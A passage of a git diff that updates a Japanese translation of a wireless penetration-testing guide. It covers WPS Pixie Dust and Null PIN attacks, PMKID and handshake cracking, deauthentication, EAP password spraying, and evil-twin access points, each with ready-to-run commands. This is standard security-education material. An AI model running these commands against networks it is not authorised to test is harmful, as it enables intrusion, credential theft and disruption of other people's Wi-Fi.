PINをクラックすることが容易になります。APは、PINを特別なコード(ハッシュ)で公開し、それが正規で偽(ローグ)APでないことを証明します。これらのノンスは、実質的にWPS PINを保持する「セーフ」を開くための「鍵」です。詳細は[こちら](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))で確認できます。 -簡単に言うと、問題は、一部のAPが接続プロセス中にPINを暗号化するための十分にランダムでないキーを使用していなかったことです。これにより、PINがネットワーク外から推測されやすくなりました(オフラインブルートフォース攻撃)。 +簡単に言うと、問題は、一部のAPが接続プロセス中にPINを暗号化するために十分にランダムなキーを使用していなかったことです。これにより、PINがネットワーク外から推測されやすくなりました(オフラインブルートフォース攻撃)。 ```bash reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 ``` -もしデバイスをモニターモードに切り替えたくない場合や、`reaver`や`bully`に問題がある場合は、[OneShot-C](https://github.com/nikita-yfh/OneShot-C)を試すことができます。 -このツールは、モニターモードに切り替える必要なくPixie Dust攻撃を実行することができます。 +もしデバイスをモニターモードに切り替えたくない場合、または `reaver` と `bully` に問題がある場合は、[OneShot-C](https://github.com/nikita-yfh/OneShot-C) を試してみてください。このツールは、モニターモードに切り替える必要なく、Pixie Dust攻撃を実行することができます。 ```bash ./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37 ``` -### Null Pin attack +### Null Pin 攻撃 -いくつかの設計が甘いシステムは、**Null PIN**(空のまたは存在しないPIN)でもアクセスを許可してしまうことがあり、これはかなり珍しいです。**Reaver**ツールは、**Bully**とは異なり、この脆弱性をテストすることができます。 +いくつかの設計が甘いシステムでは、**Null PIN**(空のPINまたは存在しないPIN)でもアクセスを許可してしまうことがあり、これはかなり珍しいことです。**Reaver**ツールは、**Bully**とは異なり、この脆弱性をテストすることができます。 ```bash reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' ``` @@ -263,46 +261,44 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' 提案されたすべてのWPS攻撃は、_**airgeddon**_ を使用して簡単に実行できます。 -![](<../../.gitbook/assets/image (124).png>) +![](<../../.gitbook/assets/image (219).png>) * 5と6は、**カスタムPIN**(あれば)を試すことができます * 7と8は**Pixie Dust攻撃**を実行します * 13は**NULL PIN**をテストできます -* 11と12は、選択したAPに関連するPINを利用可能なデータベースから**再収集**し、ComputePIN、EasyBox、オプションでArcadyan(おすすめ、なぜなら)を使用して可能な**PIN**を**生成**します +* 11と12は、選択したAPに関連するPINを利用可能なデータベースから**再収集**し、ComputePIN、EasyBox、およびオプションでArcadyan(おすすめ、なぜなら?)を使用して可能な**PIN**を**生成**します * 9と10は**すべての可能なPIN**をテストします ## **WEP** -今日では壊れて使われていない。_**airgeddon**_ には、この種の保護を攻撃するための"All-in-One"というWEPオプションがあります。他のツールも同様のオプションを提供しています。 - -![](<../../.gitbook/assets/image (125).png>) +今日では壊れて使われていません。_**airgeddon**_ には、この種の保護を攻撃するための"All-in-One"というWEPオプションがあります。他のツールも類似のオプションを提供しています。 +![](<../../.gitbook/assets/image (432).png>) *** -
+
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! **ハッキングの洞察**\ ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう -**リアルタイムのハックニュース**\ -リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていきましょう +**リアルタイムハックニュース**\ +リアルタイムのニュースと洞察を通じて、ハッキングの世界の速報を追いかけましょう **最新の発表**\ -最新のバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう +最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう -**[Discord](https://discord.com/invite/N3FrSbmwdy)** で私たちに参加し、今日からトップハッカーと協力を始めましょう! +**[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!** *** - ## WPA/WPA2 PSK ### PMKID -2018年、**hashcat** は、**1つのパケット**だけで済み、攻撃対象のAPにクライアントが接続されていなくても、攻撃者とAPとの間の相互作用だけで済むというユニークな新しい攻撃方法を[公開](https://hashcat.net/forum/thread-7717.html)しました。 +2018年、**hashcat** は、**1つのパケット**だけで済み、**ターゲットAPに接続されたクライアントは必要ない**という点でユニークな新しい攻撃方法を[公開](https://hashcat.net/forum/thread-7717.html)しました。 多くの現代のルーターは、関連付け中に最初のEAPOLフレームに**オプションフィールド**を追加します。これは`Robust Security Network`として知られるもので、`PMKID`を含みます。 @@ -310,9 +306,9 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' ```bash PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) ``` -与えられた「PMK Name」が一定であることから、APとステーションのBSSID、そして`PMK`が完全な4ウェイハンドシェイクからのものと同一であることがわかっている場合、**hashcat**はこの情報を使用してPSKを解読し、パスフレーズを回復することができます! +与えられた「PMK Name」が一定であることから、APとステーションのBSSIDを知っているし、`PMK`が完全な4ウェイハンドシェイクからのものと同一であることがわかっている場合、**hashcat**はこの情報を使用してPSKを解読し、パスフレーズを回復することができます! -この情報を**収集**し、ローカルでパスワードを**ブルートフォース**するには、次の手順を実行できます: +この情報を**収集**し、ローカルでパスワードを**ブルートフォース**するには、次の操作を行うことができます: ```bash airmon-ng check kill airmon-ng start wlan0 @@ -324,17 +320,16 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1 #You can also obtains PMKIDs using eaphammer ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ``` -**キャプチャされたPMKIDs**は**コンソール**に表示され、また**/tmp/attack.pcap**内に**保存**されます。\ -次に、キャプチャを**hashcat/john**形式に変換してクラックします: +**PMKIDs captured** は **コンソール** に表示され、また **/tmp/attack.pcap** にも **保存** されます。\ +次に、キャプチャを **hashcat/john** フォーマットに変換してクラックします: ```bash hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt ``` -正しいハッシュの形式には**4つの部分**が含まれています。例: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` -もし**3つの部分**しかない場合、それは**無効**です(PMKIDキャプチャが有効ではありませんでした)。 +正しいハッシュの形式には**4つの部分**が含まれていることに注意してください。例:`4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` もしあなたのハッシュが**3つの部分**しか含まれていない場合、それは**無効**です(PMKIDキャプチャが有効ではありません)。 -`hcxdumptool`は**ハンドシェイクもキャプチャ**します(次のようなものが表示されます: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。`cap2hccapx`を使用して**ハンドシェイク**を**hashcat**/**john**形式に**変換**することができます。 +`hcxdumptool`は**ハンドシェイクもキャプチャ**します(次のようなものが表示されます:**`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。`cap2hccapx`を使用して**ハンドシェイク**を**hashcat**/**john**形式に**変換**することができます。 ```bash tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"] @@ -342,32 +337,32 @@ hccap2john pmkid.hccapx > handshake.john john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes ``` -_このツールでキャプチャされた一部のハンドシェイクは、正しいパスワードを知っていてもクラックできないことに気づきました。可能であれば、従来の方法でもハンドシェイクをキャプチャするか、このツールを使用して複数のハンドシェイクをキャプチャすることをお勧めします。_ +_このツールでキャプチャされた一部のハンドシェイクは、正しいパスワードを知っていてもクラックできないことに気づきました。可能であれば、伝統的な方法でもハンドシェイクをキャプチャするか、このツールを使用して複数のハンドシェイクをキャプチャすることをお勧めします。_ ### ハンドシェイクのキャプチャ -**WPA/WPA2** ネットワークへの攻撃は、**ハンドシェイク**をキャプチャしてパスワードを**オフライン**で**クラック**することによって実行できます。このプロセスには、特定のネットワークと**BSSID**、特定の**チャンネル**上の通信を監視することが含まれます。以下は簡略化されたガイドです: +**WPA/WPA2**ネットワークへの攻撃は、**ハンドシェイク**をキャプチャしてパスワードを**オフライン**で**クラック**しようとすることで実行できます。このプロセスには、特定のネットワークと**BSSID**、特定の**チャンネル**上の通信を監視することが含まれます。以下は簡略化されたガイドです: -1. ターゲットネットワークの**BSSID**、**チャンネル**、および**接続されたクライアント**を特定します。 +1. ターゲットネットワークの**BSSID**、**チャンネル**、および**接続されているクライアント**を特定します。 2. `airodump-ng`を使用して、指定されたチャンネルとBSSID上のネットワークトラフィックを監視し、ハンドシェイクをキャプチャしようとします。コマンドは次のようになります: ```bash airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap ``` -3. シェイクハンドをキャプチャする可能性を高めるために、一時的にクライアントをネットワークから切断して再認証を強制します。これは、`aireplay-ng`コマンドを使用して行うことができます。このコマンドは、クライアントに切断パケットを送信します。 +3. シェイクハンドをキャプチャする可能性を高めるために、一時的にクライアントをネットワークから切断して再認証を強制します。これは、`aireplay-ng`コマンドを使用して行うことができます。このコマンドは、クライアントに切断パケットを送信します: ```bash aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios ``` -_クライアントが認証解除されたため、別のAPに接続しようとする可能性があります。また、他の場合では、異なるネットワークに接続しようとすることもあります。_ +_クライアントが認証解除されたため、別のAPに接続しようとする可能性があります。または、他の場合には、異なるネットワークに接続しようとする可能性があります。_ -`airodump-ng` にハンドシェイク情報が表示されると、ハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます: +`airodump-ng`にハンドシェイク情報が表示されると、ハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます: ![](<../../.gitbook/assets/image (172) (1).png>) -ハンドシェイクがキャプチャされたら、`aircrack-ng` でそれを **クラック** できます: +ハンドシェイクがキャプチャされると、`aircrack-ng`でそれを**クラック**できます: ``` aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap ``` -### ファイル内のハンドシェイクをチェックします +### ファイル内のハンドシェイクをチェックする **aircrack** ```bash @@ -395,19 +390,15 @@ pyrit -r psk-01.cap analyze 6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi ``` 1. **EAP-GTC (Generic Token Card)**: -- この方法は、EAP-PEAP内でハードウェアトークンとワンタイムパスワードをサポートしています。MSCHAPv2とは異なり、ピアチャレンジを使用せず、パスワードを平文でアクセスポイントに送信するため、ダウングレード攻撃のリスクがあります。 - +* この方法は、EAP-PEAP内でハードウェアトークンとワンタイムパスワードをサポートしています。MSCHAPv2とは異なり、ピアチャレンジを使用せず、パスワードをアクセスポイントに平文で送信するため、ダウングレード攻撃のリスクがあります。 2. **EAP-MD5 (Message Digest 5)**: -- クライアントからパスワードのMD5ハッシュを送信することを含みます。辞書攻撃に対する脆弱性、サーバー認証の欠如、およびセッション固有のWEPキーの生成能力の欠如のため、**推奨されていません**。 - +* クライアントからパスワードのMD5ハッシュを送信することを含みます。辞書攻撃に対する脆弱性、サーバー認証の欠如、およびセッション固有のWEPキーの生成能力の欠如のため、**推奨されていません**。 3. **EAP-TLS (Transport Layer Security)**: -- 認証のためにクライアント側とサーバー側の両方の証明書を利用し、ユーザーベースおよびセッションベースのWEPキーを動的に生成して通信を保護します。 - +* 認証のためにクライアント側とサーバー側の証明書の両方を利用し、通信を保護するためにユーザーベースおよびセッションベースのWEPキーを動的に生成できます。 4. **EAP-TTLS (Tunneled Transport Layer Security)**: -- 暗号化されたトンネルを介して相互認証を提供し、ダイナミックでユーザーごと、セッションごとのWEPキーを導出する方法を提供します。クライアントは資格情報を使用し、サーバー側の証明書のみが必要です。 - +* 暗号化されたトンネルを介して相互認証を提供し、ダイナミックでユーザーごと、セッションごとのWEPキーを導出する方法を提供します。クライアントは資格情報を使用し、サーバー側の証明書のみが必要です。 5. **PEAP (Protected Extensible Authentication Protocol)**: -- 保護された通信のためにTLSトンネルを作成することで、EAPと同様に機能します。EAPの上に弱い認証プロトコルの使用を許可しますが、トンネルによって提供される保護のために可能です。 +* 保護された通信のためにTLSトンネルを作成することで、EAPと同様に機能します。EAPの上に弱い認証プロトコルの使用を許可しますが、トンネルによって提供される保護のために。 * **PEAP-MSCHAPv2**: PEAPとも呼ばれ、脆弱なMSCHAPv2のチャレンジ/レスポンスメカニズムを保護するTLSトンネルを組み合わせています。 * **PEAP-EAP-TLS (またはPEAP-TLS)**: EAP-TLSと類似していますが、証明書の交換の前にTLSトンネルを開始し、追加のセキュリティレイヤーを提供します。 @@ -417,40 +408,36 @@ pyrit -r psk-01.cap analyze [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)を読むと、**EAP**を使用している場合、**"Identity"** **メッセージ**が**サポート**されている必要があり、**ユーザー名**は**"Response Identity"**メッセージで**クリア**に送信されます。 -最も安全な認証方法の1つである**PEAP-EAP-TLS**を使用していても、**EAPプロトコルで送信されるユーザー名をキャプチャ**することが可能です。これを行うには、**認証通信をキャプチャ**し(`airodump-ng`をチャンネル内で開始し、同じインターフェースで`wireshark`を開始)、パケットを`eapol`でフィルタリングします。\ +最も安全な認証方法の1つである**PEAP-EAP-TLS**を使用していても、**EAPプロトコルで送信されるユーザー名をキャプチャ**することが可能です。これを行うには、**認証通信をキャプチャ**し(チャンネル内で`airodump-ng`を開始し、同じインターフェースで`wireshark`を開始)、パケットを`eapol`でフィルタリングします。\ **"Response, Identity"**パケットの中に、クライアントの**ユーザー名**が表示されます。 -![](<../../.gitbook/assets/image (150).png>) +![](<../../.gitbook/assets/image (850).png>) ### 匿名ID -EAP-PEAPおよびEAP-TTLSの両方で、アイデンティティの非表示がサポートされています。WiFiネットワークのコンテキストでは、EAP-Identityリクエストは通常、アクセスポイント(AP)によって関連付けプロセス中に開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、リクエストを処理する初期のRADIUSサーバーに必要な基本情報のみが含まれます。この概念は、次のシナリオを通じて説明されます: +EAP-PEAPおよびEAP-TTLSの両方で、アイデンティティの非表示がサポートされています。WiFiネットワークのコンテキストでは、EAP-Identityリクエストは通常、アクセスポイント(AP)によって(AP)の関連付けプロセス中に開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、リクエストを処理するために初期のRADIUSサーバーに必要な基本情報のみが含まれます。この概念は、次のシナリオを通じて説明されます: * EAP-Identity = anonymous - -- このシナリオでは、すべてのユーザーがユーザー識別子として擬似的な「anonymous」を使用しています。初期のRADIUSサーバーは、EAP-PEAPまたはEAP-TTLSプロトコルのサーバーサイドを管理する責任があります。その後、内部(保護された)認証メソッドは、ローカルで処理されるか、リモート(ホーム)RADIUSサーバーに委任されます。 - -* EAP-Identity = anonymous@realm_x - -- この状況では、異なるレルムのユーザーが自分のレルムを示しながらアイデンティティを隠します。これにより、初期のRADIUSサーバーは、ユーザーのホームレルムのRADIUSサーバーにEAP-PEAPまたはEAP-TTLSリクエストをプロキシできます。これらのサーバーはPEAPまたはTTLSサーバーとして機能します。初期のRADIUSサーバーは、単にRADIUSリレーノードとして動作します。 - -- 代わりに、初期のRADIUSサーバーはEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証メソッドを処理するか、別のサーバーに転送することができます。このオプションは、異なるレルムに対して異なるポリシーを構成することを容易にします。 +* このシナリオでは、すべてのユーザーがユーザー識別子として擬似的な「anonymous」を使用します。初期のRADIUSサーバーは、EAP-PEAPまたはEAP-TTLSプロトコルのサーバーサイドを管理する責任があります。その後、内部(保護された)認証メソッドは、ローカルで処理されるか、リモート(ホーム)RADIUSサーバーに委任されます。 +* EAP-Identity = anonymous@realm\_x +* この状況では、異なるレルムのユーザーは、それぞれのレルムを示しながらアイデンティティを隠します。これにより、初期のRADIUSサーバーは、彼らのホームレルムのRADIUSサーバーにEAP-PEAPまたはEAP-TTLSリクエストをプロキシし、PEAPまたはTTLSサーバーとして機能します。初期のRADIUSサーバーは、単にRADIUSリレーノードとして動作します。 +* また、初期のRADIUSサーバーはEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証メソッドを処理するか、別のサーバーに転送することができます。このオプションは、さまざまなレルムに対して異なるポリシーを構成することを容易にします。 EAP-PEAPでは、PEAPサーバーとPEAPクライアント間にTLSトンネルが確立されると、PEAPサーバーはEAP-Identityリクエストを開始し、TLSトンネルを介して送信します。クライアントは、この2番目のEAP-Identityリクエストに応答して、暗号化されたトンネルを介してユーザーの実際のアイデンティティを含むEAP-Identity応答を送信します。このアプローチにより、802.11トラフィックを盗聴している人にユーザーの実際のアイデンティティが明らかにされるのを効果的に防ぎます。 -EAP-TTLSはやや異なる手順に従います。EAP-TTLSでは、クライアントは通常、TLSトンネルによって保護されたPAPまたはCHAPを使用して認証します。この場合、クライアントは、トンネル確立後に送信される最初のTLSメッセージに、User-Name属性とPasswordまたはCHAP-Password属性を含めます。 +EAP-TTLSはやや異なる手順に従います。EAP-TTLSでは、クライアントは通常、TLSトンネルによって保護されたPAPまたはCHAPを使用して認証します。この場合、クライアントは、トンネル確立後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。 -選択したプロトコルに関係なく、PEAP/TTLSサーバーはTLSトンネルが確立された後にユーザーの実際のアイデンティティを取得します。実際のアイデンティティは、user@realmまたは単にuserとして表されます。PEAP/TTLSサーバーがユーザーの認証も担当する場合、ユーザーのアイデンティティを取得し、TLSトンネルで保護された認証メソッドを続行します。別の場合、PEAP/TTLSサーバーはユーザーのホームRADIUSサーバーに新しいRADIUSリクエストを転送します。この新しいRADIUSリクエストには、PEAPまたはTTLSプロトコルレイヤーが含まれません。保護された認証メソッドがEAPである場合、内部EAPメッセージはEAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。送信されるRADIUSメッセージのUser-Name属性には、着信RADIUSリクエストからの匿名User-Nameを置き換えるユーザーの実際のアイデンティティが含まれます。保護された認証メソッドがPAPまたはCHAP(TTLSのみでサポートされる)である場合、TLSペイロードから抽出されたUser-Nameおよび他の認証属性が、着信RADIUSリクエストで見つかる匿名User-NameおよびTTLS EAP-Message属性を置き換え、送信されるRADIUSメッセージに代入されます。 +選択したプロトコルに関係なく、PEAP/TTLSサーバーはTLSトンネルが確立された後にユーザーの実際のアイデンティティを取得します。実際のアイデンティティは、user@realmまたは単にuserとして表すことができます。PEAP/TTLSサーバーがユーザーの認証も担当する場合、ユーザーのアイデンティティを取得し、TLSトンネルによって保護された認証メソッドを続行します。または、PEAP/TTLSサーバーは、新しいRADIUSリクエストをユーザーのホームRADIUSサーバーに転送することができます。この新しいRADIUSリクエストは、PEAPまたはTTLSプロトコルレイヤーを省略します。保護された認証メソッドがEAPである場合、内部EAPメッセージはEAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。送信されるRADIUSメッセージのUser-Name属性には、着信RADIUSリクエストで見つかった匿名User-Nameを置き換える、ユーザーの実際のアイデンティティが含まれます。保護された認証メソッドがPAPまたはCHAP(TTLSのみでサポートされる)である場合、TLSペイロードから抽出されたUser-Nameおよび他の認証属性が、着信RADIUSリクエストで見つかった匿名User-NameおよびTTLS EAP-Message属性を置き換え、送信されるRADIUSメッセージに代わります。 -詳細については、[こちら](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)を参照してください。 +詳細については、[こちら](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)をチェックしてください。 ### EAP-Bruteforce(パスワードスプレー) -クライアントが**ユーザー名とパスワード**を使用することが期待される場合(**EAP-TLSはこの場合有効ではありません**)、**ユーザー名のリスト**(次の部分を参照)と**パスワード**を取得して、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)を使用してアクセスを**ブルートフォース**することができます。 +クライアントが**ユーザー名とパスワード**を使用することが期待される場合(**EAP-TLSはこの場合有効ではありません**)、**ユーザー名のリスト**(次の部分を参照)と**パスワード**を取得し、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)を使用してアクセスを**ブルートフォース**することができます。 ```bash ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ``` -あなたは`eaphammer`を使用してこの攻撃を行うこともできます: +あなたは`eaphammer`を使用してこの攻撃を行うこともできます: ```bash ./eaphammer --eap-spray \ --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ @@ -462,9 +449,9 @@ EAP-TTLSはやや異なる手順に従います。EAP-TTLSでは、クライア ### ネットワーク選択とローミング -- 802.11プロトコルは、ステーションが拡張サービスセット(ESS)に参加する方法を定義していますが、ESSまたはそれに含まれるアクセスポイント(AP)を選択する基準を指定していません。 -- ステーションは、同じESSIDを共有するAP間をロームし、建物やエリア全体で接続を維持します。 -- プロトコルは、ステーションがESSに対して認証することを要求しますが、APがステーションに対して認証することは義務付けていません。 +- 802.11プロトコルは、ステーションが拡張サービスセット(ESS)に参加する方法を定義しますが、ESSまたはそれに含まれるアクセスポイント(AP)の選択基準を指定しません。 +- ステーションは、同じESSIDを共有するAP間をローミングし、建物やエリア全体で接続を維持します。 +- プロトコルは、ステーションがESSに対して認証することを要求しますが、APがステーションに対して認証することは義務付けられていません。 ### 優先ネットワークリスト(PNL) @@ -473,21 +460,21 @@ EAP-TTLSはやや異なる手順に従います。EAP-TTLSでは、クライア ### パッシブスキャン -- APは定期的にビーコンフレームをブロードキャストし、存在と機能をアナウンスします。APのESSIDを含む(ブロードキャストが無効になっていない限り)。 +- APは定期的にビーコンフレームをブロードキャストし、APの存在と機能をアナウンスします。ブロードキャストが無効になっていない限り、APのESSIDも含まれます。 - パッシブスキャン中、ステーションはビーコンフレームを受信します。ビーコンのESSIDがステーションのPNLのエントリと一致する場合、ステーションはそのAPに自動的に接続する可能性があります。 - デバイスのPNLの知識により、既知のネットワークのESSIDを模倣してデバイスをローグAPに接続させることで潜在的な攻撃が可能となります。 ### アクティブプロービング -- アクティブプロービングには、ステーションが近くのAPを発見するためにプローブリクエストを送信することが含まれます。 -- 指向性プローブリクエストは特定のESSIDをターゲットにし、特定のネットワークが範囲内にあるかどうかを検出するのに役立ちます(非表示ネットワークであっても)。 +- アクティブプロービングには、ステーションがプローブリクエストを送信して近くのAPを検出し、その特性を調べることが含まれます。 +- ディレクテッドプローブリクエストは特定のESSIDを対象とし、特定のネットワークが範囲内にあるかどうかを検出するのに役立ちます(非表示ネットワークであっても)。 - ブロードキャストプローブリクエストにはヌルのSSIDフィールドがあり、すべての近くのAPに送信され、ステーションがPNLの内容を開示せずに任意の優先ネットワークをチェックできます。 -## インターネットにリダイレクトされるシンプルなAP +## インターネットにリダイレクトする単純なAP -より複雑な攻撃を実行する方法を説明する前に、**インターフェース**を**インターネットに接続された**インターフェースに**トラフィックをリダイレクト**するだけの**AP**を**作成**する方法について説明します。 +より複雑な攻撃を実行する方法を説明する前に、**インターフェース**を**インターネットに接続**した**AP**を**作成**し、その**トラフィック**を**リダイレクト**する方法について説明します。 -`ifconfig -a`を使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認します。 +`ifconfig -a` を使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認してください。 ### DHCP & DNS ```bash @@ -505,22 +492,24 @@ log-queries log-dhcp listen-address=127.0.0.1 ``` -次に、**IPアドレス**と**ルート**を設定します: +次に、**IPアドレス**と**ルート**を設定します: ```bash ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 ``` -その後、dnsmasqを**起動**します: +その後、**dnsmasqを起動**します: ```bash dnsmasq -C dnsmasq.conf -d ``` ### hostapd + +hostapdは、Wi-Fiアクセスポイントとして機能するソフトウェアアクセスポイントです。 hostapdを使用すると、ワイヤレスネットワークを作成し、セキュリティ機能をカスタマイズして、ペネトレーションテストを実行できます。 hostapdを使用すると、さまざまなWi-Fi攻撃をシミュレートして、ネットワークの脆弱性を特定できます。 ```bash apt-get install hostapd ``` -Create a config file `hostapd.conf`: - -`hostapd.conf`という設定ファイルを作成します: +```plaintext +`hostapd.conf`ファイルを作成します: +``` ```ini interface=wlan0 driver=nl80211 @@ -538,7 +527,7 @@ wpa_group_rekey=86400 ieee80211n=1 wme_enabled=1 ``` -**うるさいプロセスを停止**し、**モニターモード**を設定し、**hostapdを起動**します: +**うるさいプロセスを停止**し、**モニターモードを設定**し、**hostapdを起動**します: ```bash airmon-ng check kill iwconfig wlan0 mode monitor @@ -553,13 +542,13 @@ echo 1 > /proc/sys/net/ipv4/ip_forward ``` ## イービルツイン -イービルツイン攻撃は、WiFiクライアントがネットワークを認識する方法を悪用し、基地局(アクセスポイント)がクライアントに認証を要求せずに、主にネットワーク名(ESSID)に依存しています。主なポイントは次のとおりです: +イービルツイン攻撃は、WiFiクライアントがネットワークを認識する方法を悪用します。主にネットワーク名(ESSID)に依存し、基地局(アクセスポイント)がクライアントに認証を要求しない特性を利用します。主なポイントは次のとおりです: - **区別の難しさ**:デバイスは、同じESSIDと暗号化タイプを共有する場合、合法的なアクセスポイントと偽のアクセスポイントを区別するのに苦労します。実世界のネットワークでは、同じESSIDを持つ複数のアクセスポイントがシームレスにカバレッジを拡張するために使用されることがよくあります。 +- **クライアントのローミングと接続操作**:802.11プロトコルでは、デバイスが同じESS内のアクセスポイント間をローミングできます。攻撃者は、デバイスを誘導して現在の基地局から切断させ、偽の基地局に接続させることができます。これは、より強力な信号を提供するか、切断パケットやジャミングなどの手法を使用して合法的なアクセスポイントへの接続を妨害することで達成できます。 +- **実行上の課題**:複数の適切な場所に配置されたアクセスポイントがある環境でイービルツイン攻撃を成功させることは難しい場合があります。単一の合法的なアクセスポイントを切断すると、デバイスが別の合法的なアクセスポイントに接続することがよくあります。攻撃者が近くのすべてのアクセスポイントの認証を解除するか、戦略的に偽のアクセスポイントを配置しなければならない場合があります。 -- **クライアントのローミングと接続の操作**:802.11プロトコルでは、デバイスが同じESS内のアクセスポイント間をローミングできるようになっています。攻撃者は、デバイスを現在の基地局から切断させ、偽の基地局に接続させることができます。これは、より強力な信号を提供するか、切断パケットやジャミングなどの手法を使用して合法的なアクセスポイントへの接続を妨害することで達成できます。 - -- **実行上の課題**:複数の適切な場所に配置されたアクセスポイントがある環境でイービルツイン攻撃を成功させることは難しい場合があります。単一の合法的なアクセスポイントを切断すると、デバイスが別の合法的なアクセスポイントに接続することがよくあります。攻撃者が近くのすべてのアクセスポイントを切断するか、偽のアクセスポイントを戦略的に配置しなければならない場合があります。 +非常に基本的なオープンイービルツイン(インターネットへのトラフィックをルーティングする機能はない)を作成することができます: ```bash airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon ``` @@ -567,17 +556,17 @@ airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon ```bash ./eaphammer -i wlan0 --essid exampleCorp --captive-portal ``` -または、Airgeddonを使用する:`オプション:5,6,7,8,9(Evil Twin攻撃メニュー内)。` +またはAirgeddonを使用する:`オプション:5,6,7,8,9(Evil Twin攻撃メニュー内)。` -![](<../../.gitbook/assets/image (148).png>) +![](<../../.gitbook/assets/image (1088).png>) -デフォルトでは、PNL内のESSIDがWPAで保護されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPをDoS攻撃して、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃してWPA Evil Twinを使用してハンドシェイクをキャプチャすることができます(この方法を使用すると、PSKを知らないため、被害者を自分に接続させることはできませんが、ハンドシェイクをキャプチャして解読を試みることができます)。 +デフォルトでは、PNL内のESSIDがWPAで保護されて保存されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPをDoS攻撃して、ユーザーが手動であなたのオープンなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃してWPA Evil Twinを使用してハンドシェイクをキャプチャすることができます(この方法を使用すると、被害者をあなたに接続させることはできませんが、PSKを知らないため、ハンドシェイクをキャプチャして解読を試みることができます)。 -_一部のOSとAVは、オープンネットワークに接続することは危険であるとユーザーに警告するかもしれません..._ +_一部のOSとAVは、オープンネットワークに接続することは危険であるとユーザーに警告します..._ ### WPA/WPA2 Evil Twin -**WPA/2を使用したEvil Twin**を作成することができ、デバイスがそのSSIDにWPA/2で接続するように構成されている場合、接続を試みるでしょう。ただし、**4ウェイハンドシェイクを完了**するには、クライアントが使用する**パスワードを知る**必要があります。それを**知らない**場合、**接続は完了しません**。 +**WPA/2を使用したEvil Twin**を作成できます。デバイスがWPA/2でそのSSIDに接続するように構成されている場合、接続を試みるでしょう。とにかく、**4ウェイハンドシェイクを完了**するには、クライアントが使用する**パスワード**を**知っている**必要があります。それを**知らない**場合、**接続は完了しません**。 ```bash ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ``` @@ -592,9 +581,9 @@ _一部のOSとAVは、オープンネットワークに接続することは危 ./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com hostapd-wpe ./victim/victim.conf -s ``` 